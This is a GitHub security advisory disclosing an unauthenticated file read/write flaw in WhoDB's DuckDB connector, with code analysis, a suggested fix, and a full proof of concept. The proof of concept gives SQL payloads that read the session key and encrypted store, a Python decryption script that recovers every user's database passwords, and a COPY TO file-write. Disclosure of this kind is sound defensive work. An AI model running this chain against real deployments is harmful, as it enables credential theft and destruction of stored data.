github.com/clidey/whodb/core: Unauthenticated arbitrary host file read and write through a DuckDB source session, disclosing every logged-in user's database credential in plaintext
What fixes it
- 0.135.0github.com/clidey/whodb/core, goGitHub
go get github.com/clidey/whodb/core@v0.135.0
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
WhoDB confines a file-backed data source to one directory on the server, /db in server mode. For SQLite that confinement is enforced twice: once when the database file is opened, and again for the life of the session by an authorizer that denies ATTACH. For DuckDB only the first check exists.
Once a DuckDB session is open on a legitimate file inside /db, ordinary SQL submitted through the normal query editor reads any file the WhoDB process can read, and creates or replaces files anywhere it can write. No account is needed: SourceFieldOptions names the file to an anonymous caller and the public LoginSource mutation then issues a session for it with no credential.
Two of the readable files are <datadir>/whodb.db, the session store, and <datadir>/session.key, the AES-256-GCM key that protects it, which WhoDB writes beside the database it encrypts by default. Reading both yields every logged-in user's database connection details, including passwords, in cleartext after offline decryption.
This is the DuckDB counterpart of advisory GHSA-q79w-r6rg-4w2j. That advisory's remediation added a per-connection authorizer to the SQLite connector only, in 0.132.0. The DuckDB connector has never had an equivalent.
Tested for commit d761f8af0which is relevant for the code line numbers.
Details
The confinement being escaped
core/src/plugins/duckdb/db.go:44-88 resolves the requested database inside getDefaultDirectory() (db.go:34-40, "/db/" in server mode), calls filepath.EvalSymlinks, checks strings.HasPrefix and stats the result:
core/src/plugins/duckdb/db.go:73
if !strings.HasPrefix(fileNameDatabase, getDefaultDirectory()) {That check is correct, and it is a check on one path at one moment: the database file, at open time. It says nothing about what the open session may then address afterwards.
The path to the sink
core/graph/schema.resolvers.go:778:RunSourceQuery(ctx, query string)takes the raw SQL string from the request. This is the query editor and running caller-authored SQL is its purpose.core/src/source/adapters/database_connector.go:418-425:RunQuerybuilds the plugin config withs.pluginConfig(ctx, nil), which leavesReadOnlyfalse, and callsRawExecute.core/src/plugins/duckdb/duckdb.go:376-387:RawExecuteconsultsconfig.ReadOnly. When it is false it goes straight toExecuteRawSQL. Nosqlguardclassification, no read-only transaction, and no restriction on DuckDB's filesystem functions.- DuckDB executes
read_text,read_blobandCOPY ... TOin-process, as the WhoDB user.
ReadOnly is only ever set inside plugins.ReadOnlyConfig (core/src/plugins/read_only.go:26), which is reached from RunReadOnlyQuery (database_connector.go:428-439) and not from the path above. No environment variable changes this.
Why SQLite is safe
SQLite is from this because core/src/plugins/sqlite3/driver.go:40-55 registers a per-connection authorizer that denies SQLITE_ATTACH and SQLITE_DETACH for the whole session:
func confinedSQLiteDriver(readOnly bool) *sqlitedriver.SQLiteDriver {
return &sqlitedriver.SQLiteDriver{
ConnectHook: func(conn *sqlitedriver.SQLiteConn) error {
conn.RegisterAuthorizer(func(operation int, argument1, _ string, _ string) int {
if operation == sqlitedriver.SQLITE_ATTACH || operation == sqlitedriver.SQLITE_DETACH {
return sqlitedriver.SQLITE_DENY
}That authorizer arrived in commit 7d64b4b6 "fix for sqlite auth bypass", the remediation for GHSA-q79w-r6rg-4w2j, whose own root-cause statement is: "SQLite database path validation runs only when the primary connection is opened. ATTACH DATABASE in later user-supplied SQL can open another SQLite file by absolute path and bypass that validation." That is this bug, in the other connector.
Grepping core/src/plugins/duckdb/ for enable_external_access, disabled_filesystems, lock_configuration or any authorizer returns nothing outside read_only_test.go.
DuckDB's write primitive was already understood. core/src/plugins/duckdb/duckdb.go:389-391 has this comment:
// executeReadOnly uses SQL because duckdb-go rejects sql.TxOptions.ReadOnly. // A sql.Conn pins BEGIN, query and ROLLBACK to the same physical connection. // The caller must apply ReadOnlyConfig: transaction mode alone permits COPY TO.
So COPY TO is known to be a file write, and is gated only when config.ReadOnly is set, which RunSourceQuery never sets.
Why no credential needed
core/src/auth/graphql_authorization.go:38-42 places LoginSource in the public mutation allow-list, and a DuckDB login carries no secret at all: the only field is the database name (core/src/dbcatalog/catalog.go:204-213, Fields: {Database: true}). WhoDB CE has no user accounts, so there is no authentication to bypass and reachability is the only gate, and core/src/app/app.go:220 binds every interface by default (Addr: ":" + port).
The filename itself is also public. core/src/sourcecatalog/catalog.go:551-570 marks the Database field optionable for file transports so the login page can offer a picker, and core/src/plugins/duckdb/duckdb.go:111-130 answers it with every entry of /db, unfiltered. The escape does not depend on it, so a guessed filename works equally well. Just mentioned as a help for the main finding.
Why the key read is important
core/src/auth/session_key.go:88-110 generates a 32-byte key from crypto/rand and writes it to <datadir>/session.key, mode 0600, in the same directory as the whodb.db it protects. The code warns about this itself at session_key.go:108. core/src/crypto/encrypt.go:42-51 uses it as AES-256-GCM. One file read gets the ciphertext, a second gets the key.
Possible remediation
DuckDB has native settings for this, and applying them at connection time cannot be worded around the way an SQL denylist can.
In core/src/plugins/duckdb/db.go:95:
db, err := gorm.Open(Open(fileNameDatabase), &gorm.Config{...})
if err != nil {
return nil, err
}
// Match the SQLite connector's session-long confinement: the path check above
// covers only the database file, not what later user-authored SQL may address.
if !env.GetIsLocalMode() {
for _, stmt := range []string{
"SET enable_external_access = false",
"SET autoinstall_known_extensions = false",
"SET autoload_known_extensions = false",
"SET lock_configuration = true",
} {
if err := db.Exec(stmt).Error; err != nil {
return nil, err
}
}
}enable_external_access = false disables read_text, read_blob, read_csv, COPY ... TO, ATTACH of other files and remote access in one setting. lock_configuration = true stops later SQL turning it back on. These must be applied before any user SQL runs on the connection, so a per-physical-connection hook is safer than one Exec per *gorm.DB, which is what the SQLite fix already does with ConnectHook. I have not tested whether this breaks file import into DuckDB, but if it does, the narrower disabled_filesystems may suit better.
Another thing, session.key should not sit right next to the ciphertext it protects.
Proof of concept
Reproduces the whole chain on the published image, in a browser, with no credential. Verified against clidey/whodb:latest on 2026-10-10. About five minutes. Needs only Docker, a browser, and python3 with cryptography for the last step. No host directory is mounted.
0. Start from nothing
Safe to run when nothing exists.
docker rm -f whodb-poc demo-pg 2>/dev/null; docker volume rm whodb-poc-db whodb-poc-data 2>/dev/null; docker network rm whodb-net 2>/dev/null
1. Set up
A DuckDB database inside the confined directory, and a victim Postgres with a real password.
docker network create whodb-net
docker volume create whodb-poc-db
docker run --rm -v whodb-poc-db:/db python:3.12-slim sh -c "pip install -q --root-user-action=ignore duckdb && python -c \"import duckdb; duckdb.connect('/db/analytics.duckdb').execute('CREATE TABLE events(id INTEGER)')\""
docker run -d --name demo-pg --network whodb-net -e POSTGRES_PASSWORD=S3cret-Victim-Pw -e POSTGRES_DB=production postgres:16
docker run -d --name whodb-poc --network whodb-net -p 127.0.0.1:8090:8080 -v whodb-poc-db:/db -v whodb-poc-data:/data clidey/whodbCheck it started. The port line must not be empty.
docker port whodb-poc && docker ps --format '{{.Names}} {{.Status}}'2. Victim stores a credential, and stays logged in
In a normal browser window at <http://127.0.0.1:8090>, choose Postgres and log in with:
| field | value | |---|---| | Hostname | demo-pg | | Port | 5432 | | Username | postgres | | Password | S3cret-Victim-Pw | | Database | production |
Open a table. Leave this window logged in. Do not log out: WhoDB deletes the server-side session row on logout (core/src/auth/logout.go:44-51), which removes the row this PoC steals.
This is the only step that uses a credential.
3. Attacker gets a session with no credential
Open a private window so it has its own cookies, and go to the same URL.
Choose source type DuckDB. The database field already offers analytics.duckdb. Select it and log in.
No password is requested.
4. Confirm the confinement works
The control. Without it this looks like a feature.
In the private window, log out of the DuckDB session, choose DuckDB again, and type ../data/session.key into the database field instead of selecting from the list. Submit.
- Expected: refused.
- Actual: refused,
unauthorized or the database doesn't exist.
The path check does its job on the database file. Log back in with analytics.duckdb.
5. The open session reads that same file anyway
In the query editor:
SELECT content FROM read_text('/data/session.key');- Expected: refused, as in step 4, because the session is confined to
/db. - Actual: 64 hex characters, the AES-256 key that encrypts the session store.
Confirm it is that file:
docker exec whodb-poc cat /data/session.key
6. Take the encrypted session store
SELECT hex(content) FROM read_blob('/data/whodb.db');
SELECT hex(content) FROM read_blob('/data/whodb.db-wal');7. Decrypt offline
In an empty directory, save three files: key.txt (step 5), db.hex and wal.hex (step 6). Add decrypt.py:
import binascii, sqlite3, json
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
key = bytes.fromhex(open("key.txt").read().strip())
open("store.db", "wb").write(binascii.unhexlify(open("db.hex").read().strip()))
wal = open("wal.hex").read().strip()
if wal:
open("store.db-wal", "wb").write(binascii.unhexlify(wal))
found = 0
for _, blob in sqlite3.connect("store.db").execute(
"SELECT session_hash, encrypted_credentials FROM sessions"):
try:
plain = AESGCM(key).decrypt(blob[:12], blob[12:], None)
except Exception:
continue
found += 1
print(json.dumps(json.loads(plain), indent=2))
print(f"\n{found} session record(s) decrypted")python3 decrypt.py
- Expected: nothing readable. The store is encrypted at rest.
- Actual: every live session in cleartext, including the victim's.
{
"version": 1,
"sessionHash": "3155d37021f07bb08f7e0cff5a1820135ec2b8044904298e90f1b43151ab6282",
"csrfTokenHash": "8a5ec515a1a10300173e01836f3604b04b3a1585d7b76be4916de9c4acae38f4",
"credentials": {
"SourceType": "Postgres",
"Values": {
"Database": "production",
"Hostname": "demo-pg",
"Password": "S3cret-Victim-Pw",
"Port": "5432",
"Username": "postgres"
}
}
}8. The same primitive writes
COPY (SELECT 'replaced' AS proof) TO '/data/poc-write.txt' (FORMAT CSV);
docker exec whodb-poc cat /data/poc-write.txt
Aimed at /data/session.key or /data/whodb.db the same statement destroys every stored credential irrecoverably. Confirmed separately; deliberately not included here.
9. Clean up
docker rm -f whodb-poc demo-pg docker volume rm whodb-poc-db whodb-poc-data docker network rm whodb-net
If it does not work
| Symptom | Cause | |---|---| | Only one record decrypts, and it is the attacker's own DuckDB session | The victim logged out. Logout deletes the row. Redo tep 2 and leave the window logged in. | | wal.hex is large but no victim record appears | Same cause. WAL files do not shrink when rows are deleted. | | Bind for 127.0.0.1:8090 failed: port is already allocated | Something else holds 8090. Pick another host port in step 1. | | docker port whodb-poc prints nothing | The container never started. Check the step 1 command for a mangled volume name. | | Step 4 shows no ../data/session.key option | Correct. It is not in /db. Type it into the field rather than selecting it. |
Impact
Unauthenticated arbitrary file read and write on the WhoDB host, reached through a data source any anonymous caller can open. It yields every logged-in user's database credentials in cleartext, because the session store and the AES key that encrypts it sit in the same directory. The same write primitive aimed at those two files destroys every stored credential irrecoverably.
The credentials are the serious part. They are for independently managed databases, they keep working after WhoDB is patched until each one is rotated, and no log tells an operator whether rotation is needed. The key decrypts stored credentials; it does not allow logging in as another WhoDB user.
Impacted: any server-mode deployment with a genuine DuckDB database file in the confined directory. Not desktop or CLI mode, which have no confinement to escape, and not deployments setting WHODB_DISABLE_CREDENTIAL_FORM=true, where the anonymous login is refused. Until a patch, setting WHODB_ENCRYPTION_KEY to a 64-hex-character value keeps the key out of the data directory and breaks the credential-theft half; the file read and write remain.
Text from GitHub Advisory Database
Affected versions 1
- github.com/clidey/whodb/core, go>= 0.104.0GitHub